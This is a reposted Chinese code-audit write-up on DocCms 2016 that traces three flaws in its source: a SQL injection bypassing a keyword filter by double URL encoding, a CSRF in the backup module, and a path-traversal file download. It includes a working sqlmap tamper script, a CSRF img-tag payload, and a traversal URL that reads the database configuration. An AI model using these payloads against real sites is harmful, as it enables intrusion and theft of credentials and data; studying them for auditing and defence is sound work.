代码审计之DocCms漏洞分析
0x01 前言
DocCms[音譯:稻殼Cms] ,定位于為企業(yè)、站長、開發(fā)者、網(wǎng)絡公司、VI策劃設計公司、SEO推廣營銷公司、網(wǎng)站初學者等用戶 量身打造的一款全新企業(yè)建站、內容管理系統(tǒng),服務于企業(yè)品牌信息化建設,也適應用個人、門戶網(wǎng)站建設!
0x02 環(huán)境搭建
DocCms官網(wǎng):http://www.doccms.com
程序源碼:DocCms2016
下載地址:https://pan.baidu.com/s/1pLclifL
0x03 SQL注入
代碼分析
在/content/search/index.php中,首先對參數(shù)keyword進行非法字符檢測,
進一步追溯checkSqlStr函數(shù),看代碼如何過濾,在/inc/function.php中
checkSqlStr函數(shù)對傳入的字符串進行正則匹配,檢測是否函數(shù)非法字符。
繼續(xù)看在/content/search/index.php中的get_search_result函數(shù):
參數(shù)keyword進行非法字符檢測后,進行url解碼,然后拼接到SQL語句中執(zhí)行。
如果我們傳入雙重url編碼的字符串,將繞過非法字符檢測,然后經(jīng)urldecode解碼,帶入數(shù)據(jù)庫中執(zhí)行,導致SQL注入漏洞存在。
漏洞利用
雙重URLencode編碼繞過,可通過編寫tamper繞過URLencode雙重編碼,tamper腳本如下:
#!/usr/bin/env python import re from urllib import quote from lib.core.data import kb from lib.core.enums import PRIORITY__priority__ = PRIORITY.NORMALdef dependencies():pass def tamper(payload, **kwargs):retVal = payloadretVal = quote(quote(retVal)) return retVal通過SQLMAP加載tamper腳本,獲取數(shù)據(jù)庫敏感數(shù)據(jù)
0x04 CSRF
代碼分析
在\doccms\admini\controllers\system\back.php
export函數(shù)直接對提交上來的參數(shù)tables/sizelimit進行處理,導出sql備份文件,未對訪問來源進行有效驗證,導致數(shù)據(jù)庫備份模塊存在CSRF漏洞。
漏洞利用
1、構造CSRF漏洞利用代碼,只備份管理員用戶表doc_user:
<H2> CRSFTester</H2> <img src="http://127.0.0.1:80/admini/index.php?m=system&s=bakup&a=export&tables[]=doc_user&sizelimit=2048&dosubmit=開始備份數(shù)據(jù)" width="0" height="0" border="0"/>2、在網(wǎng)站首頁在線留言提交CSRF漏洞利用代碼:
3、當管理員在后臺查看留言信息時,自動備份數(shù)據(jù)庫到/doccms/temp/data目錄下:
0x05 任意文件下載
代碼分析
在\doccms\admini\controllers\system\back.php中,
download函數(shù)只對文件名進行簡單的判斷,然后把filename拼接到路徑中進行下載,導致網(wǎng)站存在任意文件下載漏洞。
漏洞利用
1、構造url下載全局配置文件獲取敏感信息:http://127.0.0.1/admini/index.php?m=system&s=bakup&a=download&filename=../../config/doc-config-cn.php
?
?2、獲取到數(shù)據(jù)庫賬號密碼等敏感信息:
?
未完,待續(xù)。
?
總結
以上是生活随笔為你收集整理的代码审计之DocCms漏洞分析的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 梦到生二胎女儿是什么意思
- 下一篇: CentOS 7 安装 JDK